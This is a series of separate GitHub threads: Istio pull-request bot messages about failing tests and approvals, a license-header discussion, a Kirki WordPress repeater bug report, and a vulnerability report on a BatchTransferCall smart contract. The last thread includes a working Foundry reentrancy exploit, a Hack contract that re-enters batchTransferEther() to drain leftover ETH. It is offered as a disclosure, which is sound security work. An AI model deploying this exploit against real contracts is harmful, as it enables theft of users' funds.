@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-unit-tests

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-unit-tests

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-pilot-multicluster-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: PR needs rebase.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers: andraxylia, myidpt, nmittler
If they are not already assigned, you can assign the PR to them by writing /assign @andraxylia @myidpt @nmittler in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

install/OWNERS
pilot/OWNERS
pkg/OWNERS
security/OWNERS
tests/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-pilot-multicluster-e2e

prow/istio-unit-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-pilot-multicluster-e2e

prow/istio-unit-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-unit-tests

prow/istio-presubmit.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

Not stale.

not stale

not stale

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-pilot-multicluster-e2e

prow/istio-presubmit.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-presubmit

prow/istio-unit-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-pilot-multicluster-e2e

prow/istio-presubmit.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-presubmit

prow/istio-unit-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-unit-tests

prow/istio-integ-local-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-integ-local-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

prow/istio-pilot-multicluster-e2e.sh
219d881a4a37b78ce77903c617744255aa182a84
link
/test istio-pilot-multicluster-e2e

prow/istio-unit-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-unit-tests

prow/istio-integ-local-tests.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-integ-local-tests

prow/istio-presubmit.sh
af1336d7b02e0c46cdb2e5e78e5ccc4486cd5d28
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
9d9d713d377c2f40ef3ce374fdccf89fdddff9a8
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
d023e8e8ed4b5d77ab6227c40e2f147d4c754c89
link
/test istio-unit-tests

prow/istio-pilot-multicluster-e2e.sh
d023e8e8ed4b5d77ab6227c40e2f147d4c754c89
link
/test istio-pilot-multicluster-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jsPlachetka
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers: nmittler, ostromart, quanjielin
If they are not already assigned, you can assign the PR to them by writing /assign @nmittler @ostromart @quanjielin in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

install/OWNERS
pilot/OWNERS
pkg/OWNERS
security/OWNERS
tests/integration2/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

I give my consent.

/assign @quanjielin

I consent

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jsPlachetka, quanjielin
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers: nmittler, ostromart
If they are not already assigned, you can assign the PR to them by writing /assign @nmittler @ostromart in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

install/OWNERS
pilot/OWNERS
pkg/OWNERS
security/OWNERS [quanjielin]
tests/integration2/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/assign @myidpt @elevran

I signed it!

@jsPlachetka: PR needs rebase.

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

New changes are detected. LGTM label has been removed.

@jsPlachetka: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-multicluster-e2e.sh
9ad950d3725f39b5b72987d2af81ab0fcf765fd4
link
/test istio-pilot-multicluster-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

I give my consent

@costinm Could you please take a look? Thanks.

I also don't mind if my comments are addressed in a separate PR - but the proliferation of options and install complexity is a major problem.

Hi Costin,
thanks for your comments.
If you take a look at spiffe.DetermineTrustDomain you will find exactly the domain handling you proposed. If someone uses a kubernetes domain prod.myorg.com, this will be also used as trustDomain, except it's overwritten by a command line argument --trust-domain

/retest

@jsPlachetka: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
1c283a29974854b5bc2a54f350e59d3673451e0f
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
1c283a29974854b5bc2a54f350e59d3673451e0f
link
/test istio-presubmit

prow/istio-unit-tests.sh
1c283a29974854b5bc2a54f350e59d3673451e0f
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-presubmit.sh
1c283a29974854b5bc2a54f350e59d3673451e0f
link
/test istio-presubmit

prow/istio-unit-tests.sh
1c283a29974854b5bc2a54f350e59d3673451e0f
link
/test istio-unit-tests

prow/istio-integ-local-tests.sh
1c283a29974854b5bc2a54f350e59d3673451e0f
link
/test istio-integ-local-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by: jsPlachetka, quanjielin
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: linsun
If they are not already assigned, you can assign the PR to them by writing /assign @linsun in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@jsPlachetka: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
abc0188f5ded12443e7897d4cc94b21e1e647243
link
/test istio-pilot-e2e-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@jsPlachetka: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests-v1alpha3.sh
461abaffce5ee7cea890541c97e5150bcde1899a
link
/test e2e-bookInfoTests-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


File headers

Make sure that the file headers and NOTICE file are correct (per the wishes of the copyright owners)
Add Checkstyle rules to ensure that the headers remain correct.

@mbudiu-vmw Can you complete this pull request? You need to change headers to something that VMWare is happy with (assuming that they are the copyright owner).
It would be simpler if it were a single license throughout - Apache or MIT.
For the small amount of code for which I am the copyright owner, I am happy with whatever you decide.

I am working on reorganizing the code to be extensible, so that other users can register new executors and command-line options easily.
I will work on the headers too, but I guess that should be part of a separate PR (this one). If you want just one license it's probably easiest to just use MIT. That's the license of the original code, and it seems to require to be quoted in any derivative work.

Regarding extensibility. In ed96c90d0674db78fb8d9668b6cef08cb01aa8e1 I made the Main class instantiable. That allows us to turn off the call to System.exit (which makes unit testing impossible) and would allow extensibility such as passing an "executor factory" to the constructor.

Happy to go with the MIT license.
Can you modify this PR with checker headers you want?
Yes, the extensibility changes should be a separate PR. I suggest that you fork the repo in GitHub so that your PR is from a branch in your fork, not the main hydromatic repo.


Repeater default row is unusable

When we add the repeater control, a default row appears in the Customizer, e.g. "row 1". The problem is this default row simply disappears as soon as we refresh the Customizer.  Also, data entered in the fields inside this row isn't saved in the database.
Version used:
<IP_ADDRESS>
Using theme_mods or options?
theme_mods

please post the code you're using. It seems to be working fine for everyone else and is very usable.

Sample code from your website. Maybe everyone else don't test their projects hard enough. I don't think I can't trust Kirki for a professional project. It has many bugs. I posted an important one 4 days ago and no feedback from you till now. I was thinking about buying one of your premium controls, but the wisest decision is to drop Kirki completely from my project.

Based on your previous post from 4 days ago you might want to be careful with throwing around words such as "bugs", "everyone don't test their projects hard enough" and "can't trust Kirki"... just saying.

@pierremacedo the code seems to be working fine on my end...
the data is properly saved in the database, the default row is there, perhaps you're not including the defaults in your get_theme_mod call?

Closed unless more information can be provided.

I had a similar issue. It seems like we must define default values for the repeater even if there is no default value.
Kirki::add_field( 'theme_config_id', [ 	'type'        => 'repeater', 	'label'       => esc_html__( 'Repeater Control', 'kirki' ), 	'section'     => 'section_id',         'default'     => array(), 	... ] );


BatchTransferCall:batchTransferEther() can reentry

batchTransferEther() function L31-34 handle unused ETH send back to msg.sender. But if one of recipient is bad guy. He can reentry BatchTransferCall contract to hack this part ETH
PoC && foundry Test
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import {BatchTransferCall} from "../src/BatchTransfer.sol";

contract Hack {
    receive() external payable {
        if(msg.sender.balance == 0){
           return;
        }
        address payable[] memory recipients = new address payable[](1);
        recipients[0] = payable(address(this));
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = msg.sender.balance;

        console.log("balance before hack", address(this).balance);
        BatchTransferCall(msg.sender).batchTransferEther(recipients,amounts);
        console.log("balance after hack", address(this).balance);
    }
}

contract BatchTransferTest is Test {
    BatchTransferCall public batchTransferCall;
    address hacker;
    function setUp() public {
        batchTransferCall = new BatchTransferCall();
        hacker = address(new Hack());
    }

    function testHack() public {
        address payable[] memory recipients = new address payable[](3);
        recipients[0] = payable(address(1));
        recipients[1] = payable(address(2));
        recipients[2] = payable(hacker);
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 1 ether;
        amounts[1] = 1 ether;
        amounts[2] = 1 ether;

        batchTransferCall.batchTransferEther{value: 4 ether}(recipients, amounts);
    }
}

Thank you for raising this concern. We appreciate your vigilance and would like to clarify that the BatchTransferCall contract has only been deployed on the zksync era, utilizing msg.sender.call due to the unique characteristics of this chain (https://era.zksync.io/docs/reference/architecture/differences-with-ethereum.html#using-call-over-send-or-transfer). This risk is not present on other chains. Furthermore, when the front-end interacts with the contract, the total amount designated for transfer is equal to the sum of the individual amounts to be received, leaving no residual balance. This issue would only arise if a sender were to bypass our front-end and directly call the contract. We have previously considered this scenario, but determined that implementing balance verification and reentrancy prevention within the contract would lead to increased gas consumption, and ultimately deemed it not essential.

The robustness of the contract is the most important, and the front end is unreliable. Do not change this is your business, I believe you should be a comprehensive consideration, I just happened to see and out of professional habit reported the problem.

Thank you again for taking the time to uncover these issues. We are considering updating and optimizing the contracts deployed on the zkSync Era. Our goal is to create an improved version that offers a solution with low gas consumption, straightforward and comprehensible code, along with robust security.